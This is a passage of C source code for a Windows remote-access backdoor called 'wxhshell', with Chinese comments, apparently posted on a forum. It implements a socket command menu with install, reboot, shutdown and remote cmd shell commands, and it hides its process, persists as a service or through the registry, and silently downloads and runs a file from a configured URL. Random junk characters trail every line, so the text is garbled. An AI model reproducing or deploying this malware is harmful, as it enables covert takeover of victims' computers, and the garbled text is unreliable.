  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); llRQxk  
  } hg+0!DVx  
  else { FSA"U9 w<  
aJSBG|IC  
    switch(cmd[0]) { 9 M!U@>  
  ]Aa.=  
  // 帮助 'I5~<"E  
  case '?': { baz~luM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2_ CJV  
    break; uM@ve(8\  
  } 0%;y'd**Ck  
  // 安装 /}R*'y  
  case 'i': { # mW#K  
    if(Install()) TA>28/U#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &0JCZ /e  
    else nx|b9W<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "XWO#,Ue  
    break; zz1]6B*eX  
    } 1D2Yued  
  // 卸载 3mH(@ -OA  
  case 'r': { U_ *K%h\m  
    if(Uninstall()) 3#~w#Q0%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :{M1]0 NH  
    else "Is0:au+?}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S|/Za".Gr  
    break; /=~o|-n8@  
    } /..a9x{At>  
  // 显示 wxhshell 所在路径 ibv.M=  
  case 'p': { H* vd  
    char svExeFile[MAX_PATH]; Cbjx{  
    strcpy(svExeFile,"\n\r"); ??h4qJ  
      strcat(svExeFile,ExeFile); WQ)vu&;  
        send(wsh,svExeFile,strlen(svExeFile),0); &v.Nj9{zi  
    break; Bb@m-+f  
    } r>;6>ZMe  
  // 重启 ,n/^;. _1  
  case 'b': { BiCC72oig  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kqt.?iJw  
    if(Boot(REBOOT)) YZQF*fj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \@hq7:Q  
    else { X'.*I])  
    closesocket(wsh); *k<{nj@y  
    ExitThread(0); 2; ~jKR[~  
    } (sL!nRw  
    break; \Zmn!Gg  
    } }e4#Mx  
  // 关机 DY?;Z98P?  
  case 'd': { Q4QF_um  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4A\>O?\  
    if(Boot(SHUTDOWN)) FiW>kTM8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ))eQZ3ap9  
    else { P"ATqQG%D  
    closesocket(wsh); l_0/g^(  
    ExitThread(0); _p,1m[&M  
    } (#5TM1/A  
    break; {5J: ]{p  
    } y5$AAas  
  // 获取shell   ]n (:X  
  case 's': { jb0LMl}/A  
    CmdShell(wsh); RAi]9`*7  
    closesocket(wsh); w5R?9"d@  
    ExitThread(0); bZd)4  
    break; :%kJ9zW  
  } kbKGGn4u  
  // 退出 X}R Q&k  
  case 'x': { 8w L%(p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8 rA'd  
    CloseIt(wsh); O cJ(i#Q~<  
    break; oC >l|?h,  
    } pjrzoMF  
  // 离开 4j VFzO%.  
  case 'q': { X2S:"0?7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bbAJ5EqL  
    closesocket(wsh); j  hr pS  
    WSACleanup(); n s`njx}C  
    exit(1); <OA[u-ph%S  
    break; e'L$g-;>4b  
        } +RN|ZG&  
  } &#DKB#.2  
  } 6Cz%i 6)  
3,$G?auW  
  // 提示信息 Z Vj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BIeeu@p  
} (5R_q.Wu  
  } z2DjYTm[~  
~$:=hT1  
  return; :iVEm9pB)  
} R4q)FXW29  
{3R?<ET]mt  
// shell模块句柄 ED=P  6u  
int CmdShell(SOCKET sock) -9@/S$i  
{ Mr u  
STARTUPINFO si; ra>jVE0 `  
ZeroMemory(&si,sizeof(si)); ?TEdGe\*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 V{&o,6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ~N=$%C  
PROCESS_INFORMATION ProcessInfo; SC/V3f W,  
char cmdline[]="cmd"; 6gN>P%n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i.Jk(%c  
  return 0; XWNDpL`j5  
} } D0Y8  
<Q|(dFr`v  
// 自身启动模式 5Ff1x-lQ  
int StartFromService(void) fqQ(EVpQ  
{ &<\i37y  
typedef struct V1!;Hvm]+  
{ c</u]TD  
  DWORD ExitStatus; pG0Ca](  
  DWORD PebBaseAddress; "j] r   
  DWORD AffinityMask; O0cKmh6=  
  DWORD BasePriority; t) h{ w"v  
  ULONG UniqueProcessId; 1 wB2:o<  
  ULONG InheritedFromUniqueProcessId; cBz_L"5vr[  
}   PROCESS_BASIC_INFORMATION; YKWts y  
3IHA+Zz  
PROCNTQSIP NtQueryInformationProcess; |\iJ6m;a  
<$ oI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W\l"_^d*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }!n90 9 L  
/C"?Y'  
  HANDLE             hProcess; QH.zsqf(  
  PROCESS_BASIC_INFORMATION pbi; -&3mOn& (1  
C#Y_La  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @ - _lw  
  if(NULL == hInst ) return 0; ];VJ54  
=V(|3?N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }6#u}^gy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PShluhY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P]wCC`qi  
9Vh>ty1|_  
  if (!NtQueryInformationProcess) return 0; ^ua8Ya  
vh">Z4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4kqgZtg.  
  if(!hProcess) return 0; %L;;W,l$`)  
U{%N.4:   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %tC3@S  
;;; {<GEQ  
  CloseHandle(hProcess); -D-]tL6w  
UxS@]YC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5^+QTQ  
if(hProcess==NULL) return 0; 4(O;lVT}  
s_`=ugue  
HMODULE hMod; k5ZkD+0Jo  
char procName[255]; sn6:\X<[  
unsigned long cbNeeded; A(dWA e,  
~D$?.,=l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o6LZ05Z-&  
8R;A5o,  
  CloseHandle(hProcess); Mu?hB{o1  
Ja(>!8H>@  
if(strstr(procName,"services")) return 1; // 以服务启动 }'.k  
]x<`(  
  return 0; // 注册表启动 '4J];Nj0  
} X \GB:#:X  
r|W 2I,P  
// 主模块 5o P 3 1  
int StartWxhshell(LPSTR lpCmdLine) ?}D|]i34  
{ K)!Nf.r$9  
  SOCKET wsl; %e,X7W`'2  
BOOL val=TRUE; B[Gl}(E  
  int port=0; knU=#  
  struct sockaddr_in door; @ 4%a  
.o?"=Epo  
  if(wscfg.ws_autoins) Install(); g k.c"$2  
Rz_fNlA  
port=atoi(lpCmdLine); JDA:)[;  
S_EN,2'e  
if(port<=0) port=wscfg.ws_port; L@t}UC  
n fU\l<  
  WSADATA data; Kf!8PR$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~=xS\@UY =  
]J aV +b'O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1tMs\e-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pf'-(W+  
  door.sin_family = AF_INET; $Z8=QlG>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t:?8I9d  
  door.sin_port = htons(port); gfW8s+  
.tny"a&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4?s ~S. %  
closesocket(wsl); NrrnG]#p1  
return 1; paG^W&`;  
} lm 1Mz  
o;D[ F  
  if(listen(wsl,2) == INVALID_SOCKET) { /v^1/i  
closesocket(wsl); q=H dGv  
return 1; 9N kr=/I"P  
} q\fZ Q  
  Wxhshell(wsl); Vs0T*4C=n  
  WSACleanup(); P$=BmBq18`  
M],}.l  
return 0; ;jEDGKLq  
`J(im  
} $B3<"  
|9X$@R  
// 以NT服务方式启动 X$<s@_#1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n M?mdb  
{ HpD<NVu  
DWORD   status = 0; A_mVe\(*M  
  DWORD   specificError = 0xfffffff; :@H&v%h(u  
",hPy[k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \k69 S/O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +UGWTO\#ha  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v[O}~E7'  
  serviceStatus.dwWin32ExitCode     = 0; k{ru< cf  
  serviceStatus.dwServiceSpecificExitCode = 0; *b@YoQe3!  
  serviceStatus.dwCheckPoint       = 0; {"([p L  
  serviceStatus.dwWaitHint       = 0; IJ`%Zh{f  
FYs-vW{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !((J-:=  
  if (hServiceStatusHandle==0) return; rh6gB]X]3:  
Z"T#"FDIr  
status = GetLastError(); yG`J3++ S  
  if (status!=NO_ERROR) `<z"BGQ  
{ Wt%+q{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *h `P+_Q7  
    serviceStatus.dwCheckPoint       = 0; 88GS Bg:YH  
    serviceStatus.dwWaitHint       = 0; z!<X{& e  
    serviceStatus.dwWin32ExitCode     = status; 0"vI6Lm  
    serviceStatus.dwServiceSpecificExitCode = specificError; %}nNwuJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A=(<g";m  
    return; 7t@r}rC,K  
  } v|&Nh?r  
hPP,D\#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; []vt\I ;  
  serviceStatus.dwCheckPoint       = 0; 4w\@D>@}H  
  serviceStatus.dwWaitHint       = 0; /ehmy(zL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^J TrytIB  
} [K\Vc9  
~'[0-_]=f  
// 处理NT服务事件,比如:启动、停止 m4<5jC`-M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [f?fA[, [  
{ X(`wj~45VX  
switch(fdwControl) );]9M~$  
{ `k 5'nnyP  
case SERVICE_CONTROL_STOP: J ^y1=PM  
  serviceStatus.dwWin32ExitCode = 0; IYo{eX~=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =u5a'bp0;;  
  serviceStatus.dwCheckPoint   = 0; :?*|Dp1  
  serviceStatus.dwWaitHint     = 0; kma)DW  
  { /5l"rni   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GbLuX U  
  } |A'y|/)#Z  
  return; <yw6Om:n<  
case SERVICE_CONTROL_PAUSE: xE2sb*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &RzkM4"  
  break; WB7pdSZ  
case SERVICE_CONTROL_CONTINUE: xn fMx$fD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u?J!3ZEtb  
  break; #%;QcDXRe  
case SERVICE_CONTROL_INTERROGATE: 5 +Ei! E89  
  break; us ,!U  
}; *u i!|;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )nK-39,G  
} I:ag}L8`  
r}-si^fo;  
// 标准应用程序主函数 e#+u8LrN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '\ MYC8"  
{ N5yt'.d  
_\d[`7#  
// 获取操作系统版本 )tq&l>0h  
OsIsNt=GetOsVer(); Em%0C@C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZCT\4Llv#  
G`_LD+  
  // 从命令行安装 zmw <y2`  
  if(strpbrk(lpCmdLine,"iI")) Install(); iB]xYfQ&@V  
lhx"<kR 4  
  // 下载执行文件 ;77#$H8)  
if(wscfg.ws_downexe) { -&Cb^$.-x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ","O8'$OC  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hd/|f;  
} YT*_ vmJV  
[eb?Fd~WB]  
if(!OsIsNt) { s#8mD !T|  
// 如果时win9x,隐藏进程并且设置为注册表启动 pdz_qj!Z  
HideProc(); 5a`f % h%  
StartWxhshell(lpCmdLine); hnk,U:7}  
} LXZ0up-B-  
else H'Oy._,]t  
  if(StartFromService()) a'[Ah2}3r<  
  // 以服务方式启动 - kGwbV}  
  StartServiceCtrlDispatcher(DispatchTable); qy9RYIfZ  
else rwJCVkF  
  // 普通方式启动 lR[]A  
  StartWxhshell(lpCmdLine); K~C6dy  
EO_:C9=d{  
return 0; -KuC31s_W  
}
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只看该作者 1 发表于: 2006-10-10
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